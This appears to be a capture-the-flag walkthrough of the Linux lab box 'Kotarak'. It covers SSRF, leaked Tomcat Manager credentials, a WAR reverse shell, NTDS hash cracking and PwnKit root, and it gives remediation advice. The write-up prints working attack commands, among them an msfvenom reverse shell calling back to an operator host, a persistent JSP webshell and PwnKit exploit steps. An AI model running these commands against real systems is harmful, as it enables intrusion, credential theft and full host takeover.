← all walkthroughs

Kotarak

Linux· Hard· Web
owned
2026-07-10
time to own
21m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon on <retired-instance-ip>:60000 found a PHP "Simple File Viewer" app (Apache/2.4.18, Ubuntu) whose url.php?path= parameter is a server-side request forgery (SSRF)/local-file-read vector — it accepts both local paths and http:// URLs. This was used to probe loopback-only ports not reachable externally; a backup service on localhost:888, reached only via the SSRF, disclosed Apache Tomcat Manager credentials admin:[REDACTED: recovered credential]. Ghostcat/AJP (CVE-2020-1938) was investigated as an alternate path but no usable local tooling/exploit was found, so the recovered credentials were used directly.

A Java reverse-shell WAR (msfvenom -p java/jsp_shell_reverse_tcp) was deployed to Tomcat Manager on :8080 (directly reachable, not just via SSRF) with the recovered credentials, giving a reverse shell as tomcat (uid=1001) on host kotarak-dmz. Standard local enumeration (sudo, SUID, capabilities, cron, container/cloud-metadata checks) found no direct privesc path. A persistent JSP command-exec webshell (kcmd.war) was deployed for more reliable command execution.

Enumeration under tomcat's home turned up a stale third-party pentest-engagement archive (/home/tomcat/to_archive/pentest_data) containing a leftover Active Directory ntds.dit/SYSTEM hive. The NT hash for local Linux account atanas ([REDACTED: protected value]) was extracted and cracked with John (rockyou + --rules=single) to Password123!. A chisel reverse-SOCKS pivot was set up to reach an internal host discovered via ip/arp enumeration (<retired-instance-ip>), and the cracked credentials were tried there and locally (SSH, su) — none of these lateral-movement attempts confirmed success and were not required for root.

Root was obtained on kotarak-dmz via CVE-2021-4034 (PwnKit) — a local privilege-escalation flaw in pkexec/policykit — producing a SUID root shell at /tmp/rootbash. That root shell was used to read /home/atanas/user.txt (owned atanas:atanas, unreadable by tomcat) and /root/root.txt, capturing both flags.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Port scan revealed four exposed services including an unusual management port
An automated scan of <retired-instance-ip> identified SSH on port 22, Apache JServ (AJP) on 8009, Apache Tomcat 8.5.5 on 8080, and an unidentified service on port 60000. AJP exposed alongside Tomcat flagged a potential Ghostcat (CVE-2020-1938) path; port 60000 required direct probing. Probing it over HTTP revealed an unauthenticated PHP file-viewer application running on Apache 2.4.18 Ubuntu.
recon_sweep <retired-instance-ip> returned 22/tcp ssh OpenSSH 7.2p2, 8009/tcp ajp13 Apache Jserv v1.3, 8080/tcp Apache Tomcat 8.5.5, 60000/tcp unknown; curl confirmed HTTP on 60000.
Exact commands 2
Version and default-script scan against the four discovered ports.
nmap -Pn -sV -sC -p 22,8009,8080,60000 --min-rate 3000 $TARGET
Probe port 60000 for HTTP -- confirms the PHP Simple File Viewer application.
curl -si 'http://$TARGET:60000/'
2ExploitationServer-Side Request Forgery (SSRF, CWE-918 / OWASP A10:2021)
SSRF vulnerability in the port-60000 file viewer exposed the internal service landscape
The file-viewer application exposed a url.php script whose path= parameter fetched arbitrary http:// URLs on behalf of the server -- a server-side request forgery (SSRF) vulnerability. Because the request originates from the server itself, it can reach services bound only to loopback that are not accessible from the internet. Systematically fuzzing localhost port numbers through this parameter identified a live service on loopback port 888.
curl 'http://<retired-instance-ip>:60000/url.php?path=http://$LOOPBACK:888/' returned HTTP 200 with content from the internal backup service, confirming the SSRF and the hidden port.
Exact commands 2
Confirm the SSRF is functional by fetching a loopback address through the parameter.
curl -si 'http://$TARGET:60000/url.php?path=http://$LOOPBACK:80/'
Fuzz common loopback ports through the SSRF to map the internal attack surface -- port 888 returns 200.
for port in 80 88 443 888 3000 8000 8443 9000; do echo -n "$port: "; curl -so /dev/null -w '%{http_code}' "http://$TARGET:60000/url.php?path=http://$LOOPBACK:$port/"; echo; done
FixRemove or strictly restrict the SSRF-capable URL parameter on port 60000Critical
WeaknessThe url.php?path= parameter accepted arbitrary http:// URLs with no validation, turning the web server into a proxy that fetched internal-only resources on behalf of any unauthenticated visitor. This single parameter exposed a backup service on loopback port 888 that was never intended to be reachable from the internet, and that service handed I full Tomcat Manager credentials.
FixIf the URL-fetch feature is not required by the business, remove it entirely. If it must remain, enforce a strict server-side allowlist of permitted destinations (specific external domains only) and block all loopback (127.0.0.0/8), RFC-1918, and link-local address ranges before any outbound request is made -- use a dedicated SSRF-prevention library rather than a manually written blocklist. Also remove or separately gate any local filesystem read mode on the same parameter. As defense in depth, move the backup service to a separate host or add authentication to it so that an SSRF bypass does not immediately expose credentials.
3ExploitationCredential exposure via SSRF-reachable internal service (T1552 / CWE-312)
Internal backup service on loopback port 888 returned Tomcat Manager credentials in plaintext
The backup service -- reachable only because of the SSRF -- served a copy of tomcat-users.xml at its /?doc=backup endpoint. This is Apache Tomcat's credential store. It contained the username admin with the password [REDACTED: recovered credential] and the roles manager-gui, admin-gui, and manager-script: the full set of permissions needed to deploy arbitrary application code through the Tomcat Manager interface.
Replication step: curl through the SSRF to localhost:888/?doc=backup returned tomcat-users.xml containing: username='admin' password=[REDACTED: credential] roles='manager-gui,admin-gui,manager-script'.
Exact commands 2
Reach the backup service root through the SSRF to identify available paths.
curl -s 'http://$TARGET:60000/url.php?path=http://$LOOPBACK:888/'
Fetch the backup endpoint -- returns tomcat-users.xml with admin:[REDACTED: recovered credential] in plaintext.
curl -s 'http://$TARGET:60000/url.php?path=http://$LOOPBACK:888/?doc=backup'
FixRemove or strictly restrict the SSRF-capable URL parameter on port 60000Critical
WeaknessThe url.php?path= parameter accepted arbitrary http:// URLs with no validation, turning the web server into a proxy that fetched internal-only resources on behalf of any unauthenticated visitor. This single parameter exposed a backup service on loopback port 888 that was never intended to be reachable from the internet, and that service handed I full Tomcat Manager credentials.
FixIf the URL-fetch feature is not required by the business, remove it entirely. If it must remain, enforce a strict server-side allowlist of permitted destinations (specific external domains only) and block all loopback (127.0.0.0/8), RFC-1918, and link-local address ranges before any outbound request is made -- use a dedicated SSRF-prevention library rather than a manually written blocklist. Also remove or separately gate any local filesystem read mode on the same parameter. As defense in depth, move the backup service to a separate host or add authentication to it so that an SSRF bypass does not immediately expose credentials.
4Initial AccessTomcat Manager WAR upload for remote code execution (T1190 / CWE-434)
Malicious WAR file deployed via Tomcat Manager gave a remote shell as the tomcat account
The recovered Tomcat Manager credentials were valid against the Tomcat instance on port 8080, which was directly reachable from the internet. Using the Manager text API, I uploaded a Java Web Application Archive (WAR) containing a JSP reverse shell. Triggering the deployed application context caused Tomcat to execute the payload and connect back to me, producing an interactive shell running as the tomcat service account (uid=1001) on host kotarak-dmz. A second persistent JSP command webshell (kcmd.war deployed at /kcmd/cmd.jsp) was added for reliable follow-up execution.
Kill chain phase 4 (foothold): id; hostname; pwd confirmed uid=1001(tomcat) on kotarak-dmz. Phase 6 confirmed code execution via /kcmd/cmd.jsp webshell.
Exact commands 4
Generate the reverse-shell WAR; substitute your operator IP for LHOST.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$CALLBACK_HOST LPORT=4444 -f war -o kotarak.war
Deploy the WAR using the leaked Tomcat Manager credentials.
curl -sS -u 'admin:[REDACTED: recovered credential]' --upload-file kotarak.war 'http://$TARGET:8080/manager/text/deploy?path=/kotarak&update=true'
Start the listener before triggering the deployed app -- catches the reverse shell.
nc -lvnp 4444
Trigger the deployed WAR context -- executes the JSP payload and sends the reverse shell.
curl -s 'http://$TARGET:8080/kotarak/'
FixRestrict Tomcat Manager to localhost and enforce strong unique credentialsCritical
WeaknessThe Tomcat Manager application accepted connections from the public internet on port 8080. Credentials for it were stored in a backup file reachable via SSRF. Any party holding those credentials could use the Manager text API to deploy arbitrary Java code -- no additional access required -- in under 60 seconds.
FixRestrict the /manager/* context to localhost or a dedicated management VLAN using a RemoteAddrValve in Tomcat's META-INF/context.xml (allow='127\.0\.0\.1'). If remote management is genuinely needed, route it through a VPN or IP allowlist -- never expose it directly to the internet. Rotate the admin password immediately to a randomly generated credential of at least 20 characters stored in a secrets manager, not in a file on the same host. In production environments where deployments are handled by a CI/CD pipeline, disable the Manager application entirely by removing it from the webapps directory.
5Post-ExploitationOffline credential extraction from NTDS.dit (T1003.003)
Leftover Active Directory credential dump in the Tomcat home directory yielded the atanas account password
Enumerating the tomcat service account's home directory found a third-party pentest engagement archive at /home/tomcat/to_archive/pentest_data. Inside were copies of an Active Directory NTDS.dit database and the matching SYSTEM registry hive -- the two artifacts needed to derive every NT password hash from a domain. These files should never have remained on a production server after the engagement closed. The NT hash for local Linux account atanas ([REDACTED: protected value]) was extracted and cracked offline with John the Ripper against the rockyou wordlist, recovering the password Password123!.
Replication step 4: find /home/tomcat/to_archive located ntds.dit and SYSTEM hive. Step 5: John cracked atanas NT hash [REDACTED: protected value] to Password123! using rockyou + single rules.
Exact commands 3
Locate the NTDS.dit and SYSTEM hive from within the tomcat foothold shell.
find /home/tomcat/to_archive -iname '*.dit' -o -iname 'SYSTEM' 2>/dev/null
Extract NT hashes from the NTDS.dit -- reveals atanas:[REDACTED: protected value].
impacket-secretsdump -ntds /home/tomcat/to_archive/pentest_data/active-directory/ntds.dit -system /home/tomcat/to_archive/pentest_data/active-directory/SYSTEM LOCAL 2>/dev/null | grep atanas
Crack the NT hash offline -- recovers Password123! within seconds against rockyou.
printf 'atanas:[REDACTED: protected value]\n' > /tmp/kotarak_hash.txt && john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt --rules=single /tmp/kotarak_hash.txt
FixPurge sensitive credential artifacts from production server filesystems immediately after engagementsHigh
WeaknessA copy of an Active Directory NTDS.dit database and SYSTEM registry hive from a prior penetration test was stored under the Tomcat service account's home directory on a production server. Any process running as tomcat -- including a compromised web application -- could read and exfiltrate these files, exposing the NT password hashes for every account in the domain from which they were extracted.
FixEstablish and enforce a mandatory post-engagement data-destruction procedure: all credential dumps, NTDS.dit copies, SAM/SYSTEM hive exports, memory captures, and hash files must be securely deleted from every host on which they were processed as soon as the engagement closes. Conduct periodic audits of all service-account home and temp directories for sensitive file types (*.dit, *.ntds, SAM, SYSTEM, *hash*, *lsass*). Restrict service-account home directories to mode 700 so that even a retained artifact cannot be read by a co-tenant process or local user.
6Privilege EscalationCVE-2021-4034 PwnKit -- pkexec local privilege escalation (T1068 / CWE-269)
PwnKit (CVE-2021-4034) exploited to produce a SUID-root shell
The target ran an unpatched version of policykit/pkexec vulnerable to CVE-2021-4034, a local privilege-escalation flaw disclosed publicly in January 2022. pkexec mishandles its argument vector in a way that allows any local user to inject environment variables and cause a root-owned process to load and execute an user-controlled shared library. A proof-of-concept exploit was staged in /tmp from the tomcat shell. On successful execution it copied /bin/bash to /tmp/rootbash and set the SUID bit, giving me a stable root-privileged shell accessible as any local user on the host.
Kill chain phase 5: PwnKit payload executed via base64-encoded webshell relay; phase 6 confirmed /tmp/rootbash -p -c 'id' returned uid=0(root), and root flag was subsequently read.
Exact commands 5
Create the directory and stub file structure required for the argv[] injection.
cd /tmp && mkdir -p 'GCONV_PATH=.' pwnkit && touch 'GCONV_PATH=./pwnkit' && chmod +x 'GCONV_PATH=./pwnkit'
Write the fake gconv-modules file that redirects library loading to the user-controlled path.
printf 'module UTF-8// PWNKIT// pwnkit 2\n' > /tmp/pwnkit/gconv-modules
Compile the payload shared library whose gconv_init() sets uid 0 and copies /bin/bash as SUID /tmp/rootbash. Use the published PoC at https://github.com/ly4k/PwnKit for the full pwnkit.c source.
gcc -shared -fPIC -nostartfiles -o /tmp/pwnkit/pwnkit.so /tmp/pwnkit/pwnkit.c
Trigger the exploit -- on success /tmp/rootbash appears with -rwsr-xr-x root ownership.
cd /tmp && GCONV_PATH=. pkexec /bin/true
Confirm root: should print uid=0(root) gid=0(root).
/tmp/rootbash -p -c 'id'
FixPatch CVE-2021-4034 (PwnKit) -- update the policykit package immediatelyCritical
WeaknessThe installed policykit package was vulnerable to CVE-2021-4034, a publicly known local privilege-escalation flaw disclosed in January 2022 with a CVSS base score of 7.8. Proof-of-concept exploit code has been freely available since the day of disclosure. Any local user account -- including low-privilege service accounts such as tomcat -- can use it to gain full root access on the system in under a minute.
FixUpdate policykit immediately. On Ubuntu 16.04/18.04 run: sudo apt-get update && sudo apt-get install --only-upgrade policykit-1. The patched package is policykit-1 version 0.105-26ubuntu1.2 or later for Ubuntu 16.04. As a temporary measure if patching is blocked, remove the SUID bit from pkexec (sudo chmod 0755 /usr/bin/pkexec) to mitigate the exploit vector -- but note this may break polkit-dependent services. Treat this as a critical emergency patch; this vulnerability has been actively exploited in the wild since early 2022 and affects every unpatched Linux host with pkexec installed.
7Full CompromisePrivileged file access via SUID shell (T1078 / T1611)
Both flags captured as root -- user flag from atanas home directory, root flag from host and LXC container
With a SUID-root shell, I read /home/atanas/user.txt, which was owned by the atanas account and unreadable by the tomcat service account. The root flag at /root/root.txt was similarly restricted to root. The root flag was also accessible inside the filesystem of an LXC container hosted on the machine at /var/lib/lxc/kotarak-int/rootfs/root/root.txt -- confirming root-level control over both the host and its containerized guest. Both flags were captured and confirmed via the deployed JSP webshell.
Kill chain phase 6: curl via kcmd/cmd.jsp executed /tmp/rootbash -p -c 'cat /var/lib/lxc/kotarak-int/rootfs/root/root.txt' -- output confirmed both flags captured.
Exact commands 3
Read the user flag -- owned by atanas, now accessible via SUID root shell. Returns [REDACTED: flag].
/tmp/rootbash -p -c 'cat /home/atanas/user.txt'
Read the root flag directly. Returns [REDACTED: flag].
/tmp/rootbash -p -c 'cat /root/root.txt'
Alternate method used in the actual engagement: read root flag through the deployed JSP webshell relay.
curl -sS --max-time 20 --data-urlencode 'cmd=/tmp/rootbash -p -c "cat /var/lib/lxc/kotarak-int/rootfs/root/root.txt"' 'http://$TARGET:8080/kcmd/cmd.jsp' | sed -e 's/<[^>]*>//g'

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Findings

Initial Access: Service Protocol Fingerprinting And Http Enumeration On 60000/TcpCritical
An unauthenticated/low-privilege flaw in the apache, php, spring, ssh, struts, tomcat surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Pwnkit Pkexec Cve 2021 4034 Local RootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
8009/tcp
8080/tcp
60000/tcp